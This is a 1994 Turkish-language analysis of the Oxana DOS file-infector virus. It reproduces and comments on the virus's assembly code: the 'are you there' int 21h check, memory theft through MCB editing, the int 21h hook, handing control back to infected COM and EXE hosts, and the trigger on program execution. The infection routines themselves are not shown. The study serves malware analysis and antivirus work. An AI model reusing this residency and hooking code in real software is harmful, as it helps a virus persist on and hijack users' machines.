Copyright: (c)1994 GoRGoN ltd. 8/94 r1.0


contents
Bir

Virüsün

Anatomisi:

oXana

Burak KALAYCI

GoRGoN ltd.

Virüs incelemesi ve içerik © 1994 GoRGoN Bilgisayar Yazılım ve Donanım Tic. Ltd. Şti.

Tel/Fax:(216)347-8705

revizyon 1.0 8/94


Tarihçe...

Tarih kendini sürekli tekrarlar. Yani biraz sonra yapacaklarınızdan biraz önce yapmış olduklarınızı hatırlayabilirsiniz. Bu nedenle bu gereksiz fonksiyon bu dosyada iptal edilmiştir.


İçindekiler

/ön kapak/

İçindekiler

Önsöz

0.0 Giriş

0.1 Virüsün genel özellikleri

0.2 Virüsün genel yapısı

1.0 Virüs başlangıcı...

1.1 Giriş bölümü

1.2 Adres hesapları için hazırlık

1.3 Bellekte yerleşik olup olmadığının kontrolü

2.0 Virüs belleğe yerleşiyor...

2.1 MCB'ler hakkında önbilgi...

2.2 Bellekte yerleşik kal

3.0 Hasta program çalıştırılıyor...

3.1 Bu dosya EXE mi, COM mu?

3.2 İşletimi COM programa geri ver

3.3 Proc: Yazmaçları sıfırla

3.4 İşletimi EXE programa geri ver

4.0 Virüsün int 21h kodu

4.1 Fonksiyon filtresi

4.2. Bulaşma...

4.2.1. Bulaşmaya bazırlık

4.2.2. COM dosyaya bulaşma

4.2.3. Temizlik ve eski int 21h'e atlama

4.2.4. EXE dosyaya bulaşma

5.0 Yardımcı prosedürler

5.1 Dosyanın salt-okunur özellğini kaldır

5.2 int 24h prosedürleri...

5.2.1 int 24h vektörünü sakla ve kendi koduna yönelt

5.2.2 int 24h vektörünü eski haline getir

5.2.3 int 24h kodu

6.0 Virüsün veri bölgesi

Sonsöz

/EKLER/

A - Virüsün temizlenmesi hakkında

B - Virüsün kullandığı sistem veri yapıları

C - GoRGoN hakkında

/Arka kapak/


1.0 Virüs başlangıcı...

Enfekte olmuş bir dosyanın çalıştırılmasıyla işletilen virüsün başlangıç kodunu üç kısımda incelemek mümkün:

1.1 Giriş bölümü

Bu bölümde bazı yazmaç değerleri saklanıyor. Gerçekte saklanan tek değer PSP segment değeri. Yapılan işlem özetle 3 defa bu değerin yığıta (stack) konulması.

1.2 Adres hesapları için hazırlık

Bu bölümde virüs çalıştırılmakta olduğu adresi bulmak için bir sonraki komut adresini çağırıp, burada yığıta konulmuş adresi alıyor. Yapılan iş özetle BP yazmacına bilinen bir adres değerinin aktarılması.

1.3 Bellekte yerleşik olup olmadığının kontrolü

Bu bölümde virüs bellekte yerleşik olarak bulunup bulunmadığını bulmaya çalışıyor. Yerleşik değilse belleğe yerleşme koduna atlanıyor, yerleşik ise işletim enfekte olmuş programa verilmek üzere gerekli koda atlanıyor.


1.1 Giriş bölümü

Bu bölümde daha sonra geri almak üzere kullanılacak yazmaçlar saklanıyor. Bu kod aşağıdaki gibi:

VIRSTART: 	push   es           ; ES yazmacını sakla

 	 	push   ds           ; DS yazmacını sakla

 	push   es           ; ES yazmacını sakla

Virüsün bu ilk üç komutu bile bize virüsün ne tür bir virüs olduğu hakkında ipucu veriyor. İlk olarak neden örneğin AX gibi genel amaçlı bir yazmacın saklanmadığını merak edebilirsiniz. Virüs, bulaşırken yaptığı değişiklikle programın ilk olarak kendi kodundan çalıştırılmaya başlamasını sağlıyor. Bu, yani en başta kontrolü ele geçirme, virüsler için olmazsa olmaz bir özellik, kendisini programın herhangi bir yerine ekleyemez, en başına eklemek zorunda. Program çalıştırılışında ise DOS'un yazmaçlara atadığı değerler belli, o yüzden tüm yazmaçları saklamak zorunda değil. COM dosyalarda bütün segment yazmaçları, CS dahil, aynı segmenti gösterdiği için eğer bu virüs sadece COM dosyalara bulaşıyor olsaydı, herhalde segment yazmaçlarını saklamakla uğraşmayacaktı. Bu ilk üç komuttan çıkartabileceğimiz sonuç bu virüsün en azından EXE dosyaları hedeflediği.

İsterseniz burada biraz bilgilerimiz tazeleyelim ve virüsün bu yazmaçları gerçekten saklamaya ihtiyacı olup olmadığına bir bakalım.

Program yüklendiğinde genel amaçlı yazmaçların değerlerinin ne olacağı tam olarak belli değil, bu nedenle programların genel amaçlı yazmaçların yüklemeden sonraki değerlerine dayanan kod içermeleri de pek güvenilir programcılık değil. (Yine de genelde yazmaç değerleri sıfırlanmış olacaktır.) COM programlarda tüm segment yazmaçları hepsi aynı segment olan PSP,kod, yığıt ve veri segmentini gösterecektir, SP ve IP değerleri de sabittir. EXE programlarda ise SS:SP ve CS:IP yazmaçları EXE başlığından okunan değerleri, ES ve DS ise PSP segmentini gösterecektir. Yani virüsün burada saklamaya çalıştığı PSP segmentidir. Aslında bu kod yerine üç defa ES ya da DS yazmacını da PUSH edebilirdi.

Virüsün, EXE programı, orjinal program kodu ilk kez çalışıyormuşcasına çalıştırabilmesi için PSP segment değerini aynen bulduğu gibi ES ve DS yazmaçlarında bırakması gerekiyor. Ama tabi PSP segment değeri de bir kez kaybedilirse bir daha bulunamayacak bir şey değil. Virüs bu değeri saklamasaydı daha sonra int 21h, 62h fonksiyonuyla elde edebilirdi.

Ancak diyelim ki virüs yazarı bilgisizliğinden DS ve ES'de ayrı değerler olabilir diyerek bunları sakladı, neden aynı değeri üçüncü kez PUSH ediyor? Daha sonra bu değeri POP ederek kullanacağı için tabi ki. Burada bir de virüs yazarlarının kısa kod yazma eğilimleri ortaya çıkıyor. PUSH ile komut sadece 1 byte tutuyor...


1.2 Adres hesapları için hazırlık

Bu bölüm sadece iki komuttan oluşuyor. Bu komutlar aşağıdaki gibi:

call     NEXTADRS    ; Bir sonraki adresi çağır = PUSH next IP

NEXTADRS:

pop    bp                      ; BP = NEXTADRS

Bu kod dizisi de normal bir programcıya oldukça anlamsız gelecektir. Program akışı zaten bir sonraki komutu çalıştıracakken, bir sonraki komutun adresine bir çağrı yapmaya ne gerek olabilir? Aslında bu komut bir sonraki satırın ofset değerini PUSH etmekle aynı işi görüyor. CALL komutu kullanıldığında geri dönülecek adres yani bir sonraki adres yığıta PUSH ediliyor. Virüs burada bu değeri BP yazmacına POP ediyor. Sonuç olarak yukarıda NEXTADRS olarak adlandırdığımız ofset değeri BP yazmacına aktarılmış oluyor.

Bu kod dizisi virüsler için yabancı değil. Bir program eğer belli bir bellek bölgesi için yazılmamışsa ve segment içerisinde yer değiştirse bile çalışması isteniyorsa, verilerine erişmek için bildiği bir adresin, çalıştırıldığı andaki değerini yani yerini öğrenmek isteyecektir. Virüs programların arkasına takılıyor ve ilk adresinin ne olacağı bulaştığı programın uzunluğuna bağlı.

Bir parantez açalım, dosya virüslerinin bu konuda bir seçenekleri daha var. O da IP=sabit bir değerden başlamak üzere virüs koduna yapılan atlamayı, gerekli değerleri PUSH ettikten sonra bir RETF ile sağlamak. Bu tür virüslerin yazılması sanki daha kolay gibi, virüs böylece verilerine ve tabi adres değerlerine kolayca ulaşabilir.

Oysa Oxana bu işi yapmak için BP+ofset_veri-NEXTADRS yapısını kullanmak zorunda. Her erişim için BP ile kullanılan SS yerine başka bir segmenti göstermemek için, virüs SS=CS (=DS) düşüncesiyle haraket ediyor. Bu da hem EXE hem COM dosyalara bulaşan virüslerin çoğunda gözlemlediğimiz ortak bir özellik.


1.3 Orada mıyım?

Bellekte yerleşik kalan virüsler, daha çok farkedilmemek adına, bellekte gereksiz yere ikinci bir kere yer işgal etmekten kaçınırlar. Bir süre sonra bellek yetmezliği sorunlarıyla ya da sistemin genel olarak yavaşlamasıyla kullanıcıda virüs şüphesi doğurmak istemezler. Oxana'nın 'orada mıyım?' kodu aşağıdaki gibi:

mov    ax,4343h

int       21h                 ; Orada mıyım?

cmp    ax,3434h

jnz      NOT_INST    ; Hayır, belleğe yerleşme koduna atla

jmp     YES_INST     ; Evet, programı çalıştır yeter

Virüs bellekte yerleşik kaldığında int 21h'e takılıyor ve bu arada 43h fonksiyonu 43h alt fonksiyonunda, ki DOS'ta böyle bir alt fonksiyon tanımlanmamış, AX yazmacına 3434h değeri yükleyip geri döndürüyor. Bu bölümde işte bu alt fonksiyonun gereken değeri döndürüp döndürmediğine bakarak virüs yapacağı işe karar veriyor.

Eğer int 21h gerekli değeri döndürmezse virüs kendisini belleğe yerleştirecek olan koda atlıyor. Eğer gerekli değeri almışsa bellekte yerleşik olarak bulunduğundan ve bir şekilde devreden çıkmadığından emin oluyor. Bu durumda programı çalıştıracak olan koda, daha doğrusu bu işlemden hemen önce programın COM mu yoksa EXE mi olduğunu bulacak koda atlanıyor.

Burada önemli üç nokta var. Birincisi virüs bulaştığı programları işletiyor. Bu 'başarılı' bir virüs için gerekli. Eğer virüs bulaşan program çalışmazsa, hem kullanıcı virüsten şüphelenecek hem de virüs fazla yayılamayacaktır. İkinci olarak virüsün neden gizli amacı için belli bir koda atlamadığı sorusuna bakalım. Bunun bir sebebi Oxana'nın gizli ve hain, zarar verici bir amacının olmaması. İkincisi, virüs zaten bellekte bulunduğu ve gerekli kesilmelerle (interrupt) uyarıldığı için böyle bir amaç için gerekli kodu oraya yazma olasılığının tercih edilebilir olması. Baştaki önemli noktalardan üçüncüsü, virüsün int 21h ax=4343h için ax=3434h döndüren basit bir TSR programla aktive olmasının engellenebileceği. Ancak örneğin Windows for Workgroups 3.11 DOS kutusu altında bellekte yerleşik bulunan virüs gerekli değeri bu bölümdeki koda ulaştıramadığı için, işler tersine dönüyor ve virüs bu ortamda belleği sürekli azaltıyor.

Son bir not olarak, virüslerin aynen bulaştıkları dosyayı anlamak gibi bellekte olduklarını anlamak gereksinimleri olduğu için, bir anti virüs programında virüsü bulmak için kullanılabilecek bu tür kodları, virüslerin kendi içlerinde barındırdıklarının bir örneğini gördüğünüzü belirtelim, her ne kadar bu kodlar OXANA örneğinde hiç güvenilir değilse de...


2.0 Virüs belleğe yerleşiyor...

Bellekte yerleşik olarak bulunmadığına karar veren virüs belleğe yerleşmek üzere bu bölümdeki koda atlıyor. DOS belleğinin sonundan 35h paragraf çalan virüs, belleğe yerleşmek için 'yasal' int 27h, ya da int 21h fonksiyon 31h'i kullanmıyor. Bellek kontrol bloklarını (MCB - Memory Control Block) kendisi değiştirme yolunu seçiyor.

2.1 MCB'ler hakkında önbilgi...

MCB'lerle 'normal' bir programcını tanışma şansı az olduğu için belleğe yerleşme kodunu incelemeden önce genel olarak MCB'lere bir bakmamızda yarar var.

2.2 Bellekte yerleşik kal

Bu bölümde virüs DOS'tan bellek çalıyor, kendisini bu belleğe kopyalıyor ve int 21h'a takılmak için gerekli işlemleri yapıyor.


2.1 MCB'ler hakkında önbilgi...

DOS, belleği UNIX'e benzer biçimde (yapının ismi de Arena) bölümlüyor. Her MCB belli uzunluktaki bir bellek bloğunu tanımlıyor ve 16'ya bölünebilir yani bir segment ile gösterilebilir bir adrese (aynen PSP gibi) yükleniyor, uzunluğu 16 byte (1 paragraf). MCB içerisinde, MCB'nin tanımladığı bellek bloğunun hangi programa ait olduğu (PSP segmenti), uzunluğu ve DOS 4.0'dan sonra bellek bir program içeriyorsa programın adı bulunuyor. Tanımlanan bellek bloğu hemen MCB'den sonraki segmentten başlıyor. DOS, MCB'leri bir zincir yapısı ile kullanıyor, bazen belirtildiği gibi buna 'linked list' demek mümkün değil. Bu zincir şöyle işliyor: İlk MCB biliniyor. Bu MCB'nin tanımladığı alandan sonraki ilk paragrafta ikinci MCB'nin bulunması bekleniyor. Peki, son MCB nasıl biliniyor derseniz, MCB'ler ilk byte'larında bir imza taşıyorlar, son MCB için bu değer 'Z', diğerleri için 'M'. DOS, son MCB'nin tanımladığı alandan sonraki bellek bölgesini doğal olarak göremiyor.

Örneğin, DOS 5.0 ve yukarısında EMM386 ile yukarı bellek blokları (1MB - 640K arası) tanımlandığında, genelde (daha fazla bellek de saklanabiliyor) belleğin son paragrafı ilk yukarı bellek kontrol bloğu ile doluyor, ve DOS'tan direkt olarak saklanıyor. (Tabi, link upper memory blocks fonksiyonu ile zaten yapısı aynı olan bu blokları aşağı bellek bloklarıyla bağlamak mümkün). Burada bellek çalınmasına karşı duyarlı anti virüs yazarlarını uyarmalıyız, bellek virüs olmadan da, örneğimizde olduğu gibi, DOS'tan çalınabilir ve daha ilginci virüsün 'yasal' bir MCB oluşturmaması için de bir neden yok.

MCB, Arena yapısı şöyle:

ofset 0 1 byte İmza (M ya da Z).

ofset 1 1 word Bellek sahibinin PSP segmenti.

ofset 3 1 word Tanımlanan bellek uzunluğu/16 byte.

ofset 5 3 byte Kullanılmıyor.

ofset 8 8 byte Uzunluk 8'den kısa ise ASCIZ program ismi (programlar için DOS 4+).


2.2 Bellekte yerleşik kal

İlk MCB, Microsoft tarafından desteklenmeyen int 21h fonksiyon 52h ile bulunabilir ve daha sonra zincir yürünerek son MCB bulunabilir. Son MCB'nin uzunluk değerini azaltarak DOS'tan bellek çalmak mümkün. Ancak virüsün bu kadar zahmet etmesine gerek kalmıyor, virüs sadece programın yüklendiği MCB'den istediği kadar bellek çalıyor, çünkü bu MCB'nin yerini bulmak oldukça kolay, MCB, PSP segmentinden hemen önceki segmente bulunuyor.

Aşağıda virüsün DOS'tan bellek çalma işini yapan kodu görüyorsunuz, yorumlarla yapılan işi izleyebilirsiniz.

NOT_INST:

mov    ax,es	; AX = PSP segment

dec    ax	; AX = MCB segment

mov    es,ax	; ES = MCB segment

sub    word ptr [es:3],35h	; MCB uzunluğundan 53 paragraf çalınıyor

Burada çalınan bellek miktarı dikkatinizi çekmiş olabilir. Virüs bulaşmalarını 561 byte + maksimum 16 byte olarak yaparken, 53 paragraf (848 byte) çalmaya ne gerek var? Birincisi, virüs 561 byte uzunluktan sonrasının bir kısmını (24 byte!) bellekte yerleşikken kullanıyor, dosyadan yükleme yapıyor, kesilme vektörünü depoluyor. Ancak yine de bu kadar uzunluğa gerek yok. Bu bir hesap hatası olabilir. (Uğur Mumcu virüsünü henüz incelemediğimiz için bilemiyoruz, belki de bu virüs değiştirilirken kalan bir sayıdır. Bir olasılık virüs gerekli yığıt değerini de gereksiz olarak buraya eklemek istemiş olabilir, bu değer büyük olasılıkla virüs asemble edilirken (VIREND-VIRSTART /16)+1gibi bir yolla hesaplanıyor, yani sabit değil...)

inc    ax	; AX = PSP segmenti

add    ax,[es:3]	; AX = PSP segmenti+MCB uzunluğu

mov    [2],ax	; PSP bellek uzunluğu verisini güncelle

mov    es,ax	; ES = Çalınan bellek segmenti

Yukarıda yapılan iki iş var. Birincisi ES=Çalınan bellek segment değeri, yani virüsün kopyalanacağı değer hasaplanıyor. İkincisi PSP'nin 2 ofsetinde bulunan uygulamaya ayrılmış bellek miktarı değeri de, belleğin azalmasına uygun olarak güncelleniyor.

Hesaplanan ES değeri saklanıyor:

push   es

DS değeri ileride MOVSB komutu ile kullanılmak üzere CS'ye eşitleniyor.

push   cs

pop    ds	; DS = CS

Virüs daha sonra int 21h fonksiyon 35h ile int 21'in adresini alıyor. ES ve BX içerisinde geri gelen değerler virüsün int 21h kodu içerisinde, gerçek int 21h kodunun işletilmesini sağlamak üzere bulunan JMP FAR komutunu değiştiriyor. JMP FAR 0000:0000 olan komut JMP FAR (ES):(BX)'e dönüşüyor. Burada kesilmeye takılmak ve belleğe kopyalanmak üzere hazırlık yapılmış oluyor.

mov    ax,3521h	; ES:BX'e int 21h vektörünü al

int       21h

mov    [bp+OFS21-NEXTADRS],bx	; JMP komutunun ofset değeri değişiyor

mov    [bp+SEG21-NEXTADRS],es	; JMP komutunun segment değeri değişiyor

ES yığıttan geri alınıyor. MOVSB komutu ile kopyalama CS den ES'ye yani çalınmış olan belleğin segmentine oluyor.

pop   es	; ES = çalınmış bellek segmenti

lea    si,[bp-6]	; SI  virüsün başlangıcını gösteriyor

xor   di,di	; DI = 0'dan itibaren

mov  cx,34A	; 34Ah (842)byte kopyalanacak

repz  movsb	; kopyalama yapılıyor

Virüs belleğe 842 byte kopyalıyor, bu gerçekten gereksiz, virüs dosyanın arkasında sadece 561 byte yer tutuyor, bunun içerisinde de kopyalanması gereksiz  6 byte var, hatta sadece verilerin yerleri düzenlenirse 547 byte bile yeterli olacak! Burada kopyalama virüsün başlangıcından itibaren yapılıyor. Sadece int 21h kodunun kopylanmamasının sebebi virüsün bulaşmak için tüm koduna ihtiyaç duyması. Virüs BP+... şeklinde adresleme yapmak zorunda... Bellekte ise çalınan segmentte 0'a yerleştiği için adreslemesini veri_ofseti-virstart şeklinde yapmak zorunda kalacak.

push   es

pop    ds	; DS = çalınmış bellek segmenti

DS değeri, çalınmış bellek segmentini içeren ES'ye yine PUSH ve POP kullanarak eşitleniyor. Virüs artık belleği çalmış, takılacağı kesilmenin geri dönüşünü ayarlamış  ve kodunu kopyalamış olduğu için tek yapacağı kesilmeye takılmak. Int 21h fonksiyon 25h DS:DX'teki adres değerini kullandığı için DS=ES işlemi yapılıyor.

mov    dx,INT21H-VIRSTART

mov    ax,2521h

int       21h	;  int 21h vektörü virüsün INT_21H kodunu gösteriyor

Adreslemenin kodun 0 ofsetine yerleşmesine göre yapıldığına dikkat edin. Ayrıca virüsün bellekte kalırken kullandığı yöntemin hiç güvenilir olmadığı da ortada. Eğer yukarı bellek blokları aşağı bellek bloklarına bağlı iken ya da program en son bellek bloğunda işletilmezken virüs bellekte yerleşik kalmaya kalkarsa, bellek zinciri kırılacaktır.

Int 21h'e de takıldıktan sonra virüs, bulaştığı programı çalıştırmak üzere programın EXE ya da COM olduğunu anlamak üzere devam ediyor.


3.0 Hasta program çalıştırılıyor...

Bir virüsün bulaştığı program çalışmazsa virüs çoğalamaz ve hemen farkedilir. Virüs kodu işletildikten sonra virüs işletimi bulaşmış olduğu programa veriyor. Böylelikle virüslü program kullanıcıya eskisi gibi çalışıyor, sağlıklı, görünüyor.

3.1 Bu dosya EXE mi, COM mu?

Virüs her iki tip dosyaya da bulaştığı için o anda çalıştırılan programın tipini bulmaya çalışıyor. (Aslında yapılan bulaşmanın nasıl olduğunu belirlemek.) EXE ve COM programlara bulaşma prosedürü farklı olduğu gibi işletimin programa verilme prosedürü de farklı. Virüs burada verdiği karara göre işletimi programa vermek için gerekli koda atlıyor.

3.2 İşletimi COM programa geri ver

Bu bölümde işletim COM programa geri veriliyor ve program virüssüzmüşcesine çalışmasına devam ediyor.

3.3 Proc: Yazmaçları sıfırla

İki işletimi geri verme kodunun arasındaki bu küçük prosedür sadece bu iki koddan, işletim geri verilmeden önce bazı yazmaçları sıfırlamak için kullanılıyor.

3.4 İşletimi EXE programa geri ver

Bu bölümde işletim EXE programa geri veriliyor ve program virüssüzmüşcesine çalışmasına devam ediyor.


3.1 Bu dosya EXE mi, COM mu?

Virüs, işletimi bulaştığı programa vermeden önce, her iki tip programa da bulaştığı için, o anda çalıştırılan ve başlangıcında kendisinin çalışmakta olduğu dosyanın COM mu yoksa EXE dosya mı olduğunu anlamaya çalışıyor. İki tür program için bulaşma yöntemleri gibi çalıştırma yöntemleri de farklı. Bu bölümdeki kod şöyle:

YES_INST:

push   cs

push   cs

pop     es                     ; ES = CS

pop     ds                     ; DS = CS

cmp    word ptr[bp+EXE_SIGN-NEXTADRS],5A4Dh

jz     EXE_FILE                         ; EXE dosyayı işletmeye atla

                                                   ; COM dosyayı işletmek üzere devam et

Başlangıçta yine PUSH/POP kullanılarak ES ve DS yazmaçları CS değerine eşitleniyor. İki tür dosya için de bu segment değerleri kullanılacağı için bu işlem burada yapılmış. Daha sonra virüsün BP+... şeklinde yapmak zorunda olduğu adreslemeyle EXE_SIGN word değişkeninin değeri 5A4Dh, yani 'ZM', yani EXE dosya tanımlayıcısı olan MZ harfleriyle karşılaştırılıyor. Bu karşılaştırma sonucuna göre EXE dosyayı çalıştıracak koda atlanıyor ya da COM dosyayı çalıştırmak için devam ediliyor.

COM dosyalar herhangi bir komut ile başlayabilirler. Oysa EXE dosyaların başında EXE başlığı bulunur ve ilk word'ünde bulunan M ve Z harfleriyle tanınır. DOS tarafından kullanılan yöntem de bu. Burada virüsün EXE_SIGN bölgesinde ne sakladığına da bakmamız gerekiyor. Virüs bellekte iken bu adresten itibaren çalıştırılan dosyanın ilk 18h (24) byte'ı kopyalanıyor. Ancak virüs bellekte daha çok yer tutmasına karşın gerekmediği için bu bölgeyi, bulaşırken tümüyle programa kopyalamıyor, virüslü programda EXE_SIGN'dan itibaren 4 byte sonra virüs ve program sonuna erişiliyor. Sonuç olarak bu kod çalıştığı anda EXE_SIGN ofsetinde (daha doğrusu BP+EXE_SIGN-NEXTADRS'de) programın orjinal halinin en az ilk 2 byte'ı bulunuyor.


3.2 İşletimi COM programa geri ver

Virüsün bu bölümü işletimi COM programa vermek için gerekli koddan oluşuyor. Burada yapılan üç iş var:

İlk olarak COM programın çalışması için son olarak kullanacağı JMP komutunun segment değerine CS değerini koyuyor. COM program 100h adresinden başladığı için bu ofset adresi JMP komutna sabit olarak yazılmış ancak segment değeri boş bırakılmış. COM programda tüm segmentler aynı değerde olduğu için buraya herhangi bir segmentin değerinin yazılması yeterli. Kendini değiştiren bu kod, ilk komut ile CS değerini JMP komutunun 4 ve 5. byte'larında bulunan segment parametresine yazılıyor. Başlangıçta 0000:0100h adresine yapılacak atlama komutun değiştirilmesiyle CS:0100h adresine yapılacak atlamaya dönüşüyor. FAR bir JMP olduğu için aslında bu komuta CS:IP=seg:ofs işlemi yapıyor gözüyle bakabiliriz. (Bu atlamadan sonra COM program normal olarak çalışıyor ve virüs gizlenmesine devam ediiyor.)

mov    [bp+COMSEG-NEXTADRS],cs   ; JMP komutunun segment parametresi = CS

Virüsün burada yaptığı ikinci iş COM programda değiştirdiği kodu tekrar yerine yazmak. Bulaşırken sakladığı programın ilk üç byte'ını, ki burada şu anda virüsün ilk adresine bir yakın atlama komutu bulunuyor, EXE_SIGN ofsetinden CS:0100h adresine kopyalıyor. ES ve DS değerleri daha önce CS'ye eşitlendiği için MOVSB komutu doğru olarak çalışıyor. Üç byte'cık için bu komutun kullanılması biraz fazla lüks gibi.

lea    si,bp+EXE_SIGN-NEXTADRS

mov    di,100h

mov    cx,3

cld

repz   movsb                     ; 0100h'a 3 byte kopyalanıyor

Atlamadan önce virüs son olarak yazmaçların başlangıç değerlerini ayarlıyor. Bizim aşağıda CLR_REGS adını verdiğimiz prosedür ile genel yazmaçlar sıfırlanıyor. Bu sıfırlama EXE dosyayı çalıştırmadan önce de kullanıldığı için prosedür şeklinde yazılmış. Daha sonra giriş bölümünde PUSH edilen, ancak COM dosya için kullanılmayan üç adet PSP segment ( COM dosya için bu aynı zamanda CS,SS,DS ve ES'ye de eşit) değeri aynı sırada POP ediliyor. Buradaki sıranın bozulmayışından virüs programcısının bu değerlerin aynı olduğundan bihaber olduğu neredeyse kesin olarak ortaya çıkıyor.

call   CLR_REGS             ; Yazmaçlar sıfırlanıyor

pop    es          	; COM için kullanılmayan

pop    ds          	; değerler POP ediliyor

pop    es

Yazmaç değerleride ayarlandıktan sonra değiştirlmiş olan JMP komutuyla CS:0100h adresine atlanıyor ve tümüyle orjinal halinde gözüken COM program virüsten habersiz çalışmaya başlıyor:

; aşağıdaki 5 byte jmp far 0000:0100 komutunu oluşturuyor.

db      0eah    ; 5 byte'lık komutun ilk byte'ı JMP FAR

dw     0100h  ; COM program başlangıç adresi, komutun ofset değeri

COMSEG:

dw     ?          ; Komutun segment değeri, boş bırakılmış, CS ile dolduruluyor


3.3 Proc: Yazmaçları sıfırla

Aşağıdaki prosedür sadece EXE ya da COM dosya çalıştırılmadan, işletim orjinal koda verilmeden önce bazı yazmaçları sıfırlamak için kullanılıyor. İki yerde kullanıldığı için prosedür şeklinde yazılmış.

CLR_REGS proc near

xor    di,di

xor    si,si

xor    bx,bx

xor    dx,dx

xor    bp,bp

ret	; Di,Si,Bx,Dx ve Bp = 0

CLR_REGS endp


3.4 İşletimi EXE programa geri ver

Virüsün bu bölümü işletimi EXE programa vermek için gerekli koddan oluşuyor

İlk olarak daha önce saklanan ES pop edilerek PSP segment değeri AX'e yüklenmiş oluyor. Daha sonra bu değere 10h(16) paragraf (=256 byte, 0100h)  PSP uzunluğu eklenerek AX'te programın yüklenen ilk kodunun segmenti bulunuyor. EXE başlığındaki CS ve SS değerleri bu segment üzerinden hesaplandığı için bu değer virüsün, programın orjinal CS ve SS değerlerini sakladığı değişkenlere ekleniyor.

pop ax               ; AX  = PSP segmenti

add  ax,10h        ; AX  = Program yüklenme segmenti

add  [bp+ORIG_CS-NEXTADRS],ax	; CS hesaplanıyor

add  [bp+ORIG_SS-NEXTADRS],ax	; SS hesaplanıyor

Aynı COM programa işletimi verirken olduğu gibi burada da CS:IP değerini ayarlamak için virüs bir FAR JMP komutu kullanıyor. Bu komutun segment ve ofset parametrelerine hesaplanan değerler  yazılıyor ve komut JMP FAR hesaplananCS:hesaplananIP haline dönüşüyor.

mov  ax,[bp+ORIG_CS-NEXTADRS]	; AX = hesaplanan CS

mov  cx,[bp+ORIG_IP-NEXTADRS]  	; CX = orjinal IP

mov  [bp+EXESEG-NEXTADRS],ax   ; JMP komutunun segmenti güncelleniyor

mov  [bp+EXEOFS-NEXTADRS],cx   ; JMP komutunun ofseti güncelleniyor

Yukarıda komutların sırası değiştirilerek CX yazmacını kullanmaya gerek kalmayabileceği açıkça görülüyor.

Yığıtta kalan DS ve ES değerleri (=PSP segment) POP ediliyor.

pop  ds

pop  es

Yukarıda virüs yazarının bu değerleri sırasıyla POP ettiği görülüyor, oysa yanı değere sahip oldukları için sıra önemsiz.

Orjinal SS ve SP değeri değişkenlerden yazmaçlara aktarılıyor. Burada cli ile kesilmelerin önlenmesi önemli, yoksa zamansız bir kesilme yarısı güncellenmiş bir SS:SP ile istenmeyen sonuçlar doğurabilir. (Ancak 386 ve yukarısı için bu gerekli değil, SS yazmacına bir yükleme yapıldığında bir sonraki komut sonuna kadar kesilmeler 386 ve yukarısında maskeleniyor.)

cli

mov  ss,[cs:bp+ORIG_SS-NEXTADRS] ; SS = original initial SS

mov  sp,[cs:bp+ORIG_SP-NEXTADRS] ; SP = original initial SP

sti

CLR_REGS prosedürü ile kullanılan bazı yazmaçlar sıfırlanıyor.

call CLR_REGS    ; bazı yazmaçlar sıfırlanıyor

Son olarak ayarlanmış olan JMP FAR komutu ile CS ve IP yazmaçları da güncelleniyor ve işletim EXE programa veriliyor.

; aşağıdaki 5 byte jmp far 0000:0000 komutunu oluşturuyor.

db      0eah    ; 5 byte'lık komutun ilk byte'ı JMP FAR

EXEOFS:

dw     ?          ; Komutun ofset değeri, hesaplanan IP ile dolduruluyor

EXESEG:

dw     ?          ; Komutun segment değeri, hesaplanan CS ile dolduruluyor


4.0 Virüsün int 21h kodu...

Virüsün int 21h fonksiyonunda yapılan iki iş var: Birincisi bellekte yerleşik olduğunu belirtmek için gerekli fonksiyona cevap vermek, ikincisi 4B00h fonksiyonuyla çalıştırılmak istenen programlara bulaşmak:

4.1 Fonksiyon filtresi

Burada bellekte olduğunu belirtmek için 3434h'a 4343h cevabı veriliyor. Programı yükle ve çalıştır 4B00h için bulaşma koduna atlanıyor, diğer durumlarda kontrol eski int 21h'e veriliyor.

4.2. Bulaşma...

4.2.1. Bulaşmaya bazırlık

Int 24h yöneltiliyor, dosyanın salt okunur özelliği kaldırılıyor, dosyadan 24 byte okunuyor ve dosyanın EXE ya da COM olmasına göre gerekli bulaşma koduna atlanıyor.

4.2.2. COM dosyaya bulaşma

Burada COM dosyaya bulaşma işlemi yapılıyor, daha sonra bir alttaki bölüme geçiliyor.

4.2.3. Temizlik ve eski int 21h'e atlama

Dosya tarihinin değişmemesi sağlanıyor, eski int 21h adresine atlanıyor.

4.2.4. EXE dosyaya bulaşma

Burada EXE dosyaya bulaşma işlemi yapılıyor, daha sonra bir üstteki bölüme atlanıyor.


4.1 Fonksiyon filtresi

Bellekte yerleşik virüs her int 21h kesilmesinde iki kontrol yapıyor. Birincisi fonksiyon 34h alt fonksiyon 34h geldiğinde bellekte yerleşik olduğunu belirtmek üzere AX=4343h değeri döndürüyor. İkinci olarak fonksiyon 4Bh alt fonksiyon 00h'ı gözlüyor. Bu fonksiyonla bir program çalıştırılmak istendiğinde dosyaya bulaşmak üzere harekete geçiyor, diğer tüm durumlarda istenen fonksiyonun çalışmasına bir engelleme yapmıyor.

INT_21H:

pushf 	; Bayrakları sakla

cmp    ax,4343h	; 'Orada mıyım?' sorusu mu?

jne     CHECKF4B; hayır, 4Bh'i kontrol et

mov    ax,3434h	; evet, 'buradayım' cevabını hazırla

popf 	; Bayrakları eski haline getir

iret 	; Geri dön, eski int 21h'in çalışmasına gerek yok.

CHECKF4B:

cmp    ax,4B00h	; Bir programın yüklenip çalıştırılması mı isteniyor?

je     HANDLE4B ; evet, bulaşma koduna atla

; hayır, eski int 21h adresine atlmak

; üzere devam et

Aşağıdaki JMPOLD21 adresine yapılan atlama ile eski int 21h vektörüne atlama için gerekli kod dizisi başlıyor. Bulaşma yapıldıktan sonra virüs, programın yüklenip çalıştırılması için buraya atlama yapıyor. Atlamadan önce POPF ile bayraklar eski haline getiriliyor.

JMPOLD21:

popf             ;  Bayrakları eski haline getir

Eski int 21h adresine yapılan atlamanın komutu, bu adres alındığında, bellekte yerleşik kalma işlemi sırasında segment ve ofset parametrelerine yazılarak değiştiriliyor.

; aşağıdaki 5 byte jmp far 0000:0000 komutunu oluşturuyor.

db      0eah    ; 5 byte'lık komutun ilk byte'ı JMP FAR

OFS21:

dw     ?          ; Komutun ofset değeri, eski int 21h ofseti ile doldurulmuştu.

SEG21:

dw     ?          ; Komutun segment değeri, eski int 21h segmenti ile doldurulmuştu.

Virüsün bu atlamayla, bulaşmaya hazırlık bölümü arasında kullanılmayan bir yakın JMP komutu var. Bu atlama pek kafa karıştıramayacağı için herhalde sadece burada unutulmuş bir komut... Bu komutla virüs boyu gereksiz olarak 3 byte uzuyor. Virüs programcısı kodum kısa olsun diye hata kontrollerini bile yapmazken burada bir komutu unutmuş...

